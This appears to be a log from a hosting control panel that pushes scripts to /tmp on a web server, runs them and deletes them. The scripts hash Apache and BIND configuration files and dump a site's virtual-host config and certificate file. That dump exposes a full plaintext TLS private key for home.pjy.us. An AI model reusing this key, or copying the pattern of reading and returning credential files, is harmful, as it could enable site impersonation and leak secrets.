		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-05-06 10:25:03: 

chmod 755 /tmp/pkp683745; /tmp/pkp683745; rm /tmp/pkp683745

2026-05-06 10:25:03: 


status=ok


2026-05-06 10:25:03: 

PUT: /tmp/pkp406595

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:25:03: 

chmod 755 /tmp/pkp406595; /tmp/pkp406595; rm /tmp/pkp406595

2026-05-06 10:25:03: 
2026-05-06 10:25:03: 

PUT: /tmp/pkp252923

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')
    show_file('/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:25:03: 

chmod 755 /tmp/pkp252923; /tmp/pkp252923; rm /tmp/pkp252923

2026-05-06 10:25:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1264

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt	2970
78:89:e7:c0:d1:3f:0b:76:be:b5:af:2a:dc:3d:4e:86

-----BEGIN CERTIFICATE-----
MIIDUTCCAjmgAwIBAgIURLeGOlMMO4AUAjG6AFhJk99i1m8wDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDUwNjEwMjQ0N1oXDTI3MDUwNjEwMjQ0N1ow
FjEUMBIGA1UEAwwLaG9tZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDWnjEb3LvvH7ehcriK95f7T98BWjmkH0GbsQt3TgMSgEhq8n7hHo98
vyCpAXtFp5w7/SKW9sazuUlMvt4ZpjbsaI5UNX+0d8JeBnXmZTgkGVTk9wzKTFyT
W/GNJBnRfMyzRBj2x+ir//2CTVxBr598QVslDFzz+TMGtG7jofhpJ+STQcSADa/r
QNCjUrWwTtBm6bPOOZieWkRWvCv1wyZKVsxRjIZ+fgqGQzwJO//ktipYGM8vt0qD
QDIZPDURW1Z+sLWMpYRgV+xoTC1sVvz0Fs3LlSgSUzJuhptn/fFfaZCJ4cxVrpeI
MQlvvOgiiHT9vXxlJiQfWkkA35qqlse1AgMBAAGjcjBwMB0GA1UdDgQWBBQ4NZQf
1MnWqP1f6Iyr1I+pn4v5qDAfBgNVHSMEGDAWgBSFm24M/c0kteH10KQDOIJXSzBz
/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAWBgNVHREEDzANggtob21lLnBqeS51
czANBgkqhkiG9w0BAQsFAAOCAQEARl4Wa4OSuamfi4Lc/XiZCbRAiHZ+fFB4nMii
hBlBx6k6R/DYqF2YKU8TNWqLYzu0yYW71eC1CnDo8hN9MRQZoASENdqwgLm8rZrs
vFq1ER1nnvRSku1wayAxAq8l7dcABZnxJS/gM/lHHFlXy4sOsDFu58h3oUNJx5Hu
5Kw/t+X3bOxAbKyTHN7hPYsJJEohqz3e/Jp46MwCEqWJpycYQ8g1YkKzu5zK1TXw
u+S36nNy9L4NJevYRfBrezqfO4v0+TB8I1AHq0S4eEqGuU7KtO8KsiQxevaqXAxe
hX73ik8i17GKASP6sxCwhB4YF72Pu6IBHtjC9smZvKds5BngLw==
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWnjEb3LvvH7eh
criK95f7T98BWjmkH0GbsQt3TgMSgEhq8n7hHo98vyCpAXtFp5w7/SKW9sazuUlM
vt4ZpjbsaI5UNX+0d8JeBnXmZTgkGVTk9wzKTFyTW/GNJBnRfMyzRBj2x+ir//2C
TVxBr598QVslDFzz+TMGtG7jofhpJ+STQcSADa/rQNCjUrWwTtBm6bPOOZieWkRW
vCv1wyZKVsxRjIZ+fgqGQzwJO//ktipYGM8vt0qDQDIZPDURW1Z+sLWMpYRgV+xo
TC1sVvz0Fs3LlSgSUzJuhptn/fFfaZCJ4cxVrpeIMQlvvOgiiHT9vXxlJiQfWkkA
35qqlse1AgMBAAECggEAAsI4+yfHKsvRY6tTNTNrGY15PRA2Pm2Q3rw8Hfo22B4l
y2nV45tFcGCT0RTEbHiZx7KV1oiix9D/ozSld1HTYCru2k+oQOiteUBNHo5BHVaQ
Pd5jYi51Ugckozy8CiaIjxB0ZDYylQmh5LBnlLLKliGEVy/B+kRDDvGibcgv6PzD
tGpkfwR6zNb1pK3gma91pyEZKZ3McheCis+7CxkNOL4zKLRMAznp4+FZvJ0eYSrn
BHUlU7fwwAevYQgp/bL3/c1pDp3NFP3bz6RUxvzVnCHq5nGpf+dgZGTTlBfTTpVp
Plyu+t+kBHvm3hkH+kTzyzS/k6zMSeQMiyiJRB8ZRQKBgQDrErQkQNcKZiSzAHoJ
GEzBqU9QnHPAVRbKlQ06lG0hw8OLSV43lq9JP0pdUZ1yVb3sYp2/tRalll6ibOd+
z9s/jS+QCUU/AwwtxeKBtQSRdUlxNEP7/geIm0XFoEoM8z9PwhW45X3APhkdkt9M
aS+LiSyWCXEcC7g6ktmvvQGK8wKBgQDpuVFHn1zm9klcfma+IJJqYbwcBjoXqfK6
s+zkBwGp+8tHTsgKDk/IgmqnIJh/65IcubMcAJWsnyICFBXYNZ2mXAOrx6MVY+Au
o/2ECNw3UJ6KkkLtz+9qamDRzxZSSMNU31e9RI6YpmZGT1EnbCtGfOYiUjqY2Iq0
cAN4Wka8twKBgFUF9tIGAcFpIGz+ByWy/FAvhNiLPfKa1BuBvb8qYC6ON/PxHXrN
rai4k5UdJ+1qxb7yDEyCmyZZNPFaooBjfdGGp2VZdQpNd+I2aK6xYm2aFm4zkUNb
pi3qu1m3mBEHCic289RkbQ9TZpIjxVBF20SE4PODhr22H3RQGRxPKHexAoGBANNo
3Sx76fzAKfuQGj9AFzBC13RB7aoZ/4UB2vUnoUmwiF8n06nE6EXmMbKauVZ8Lt3s
2yYpITnTd1+J63h2hvNDp85p9goTHWUS0O3tVcRzF/Uf94pE27rWHl2pg/dJ+eV7
YFHDAXjyivBuLmoKXdqUf1XsKzS2KkCsUXc7sWBhAoGACVeC9Sm+RoAI/4nJC55z
1rxZgVHfmm/si9i7YrZ7Uc5lgmMRjz7+0mdKdpZdXuM7OvQS23PE2Kcu8tFom7lZ
p4p8lXQ2xoC3oXtEa3gAWqzbZnG23fdz0btCQhDz7pPMFQu+oJTonzv1ILkD4PmB
X8KSxQqkiflE11758a5GzTU=
-----END PRIVATE KEY-----







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= fe07422cbe758b217492221923475dac
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 21c624d3bcdb6c3f01d2bfda1de6cd52
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 9c97b03195ac1afa3ce88426fe57af03
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= 5b6ac76901ff68dcda4a55ed292fb31e
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= f132ef23cb62d0e80d0586e7546221c3
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= e057cdf9b93fc05ab6471641fcde0180
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= b87b368bb103ed46308719affdfcf030
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= 707304c25cc6327dd1c41ca6c42e7c87
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= f95a1e1b2c8674702c8e881dbd6f6102
MD5(/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt)= 51295f38861ad48c28fe92aee2eb7e50
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= 5d28fd2cef2be3cf899395f8c461b70e
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 3be906ce6e2bcb7301d484487eea1048
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= a9c7e854d597a5527f781108f2360e6e
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= d6e199f2a4d3863d3af40962bcaf8d07
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e705b34f5803f818080dcae1514b9cd2
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 7b0d1f1ff576eb65313134d488a758c4
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 9d3953ec22db1f162225b0cad02797d8
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= e6793b5dec675b86d1ddb7df78c5dcbc
MD5(/etc/apache2/sites-available/youngrepairs_www_com.conf)= 7bae46db0527c5ecb8e2e4244d6014eb
MD5(/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt)= d0adbd262909ed5755eb543ae4ed3506
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= 6b8c65fa02be730c3aa1ad3e520d0471
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= cb58d8a7f89e412fc58513e9580bfbe2
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= 27dc3c9248dffe4867c06ef996eee7da
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= a4148807538e2363efd96fab60e7488e
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= 18bd10652a6625fb9e40302ae058c838
MD5(/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt)= d649386251c073ff3e7f5a7177c2b14e
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= ee97524ee7f30c0bf2722b085af7e853
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp406595:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-05-06 10:25:11: Establishing a connection
2026-05-06 10:25:11: 

PUT: /tmp/pkp989302

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:25:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp989302; rm /tmp/pkp989302'

2026-05-06 10:25:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
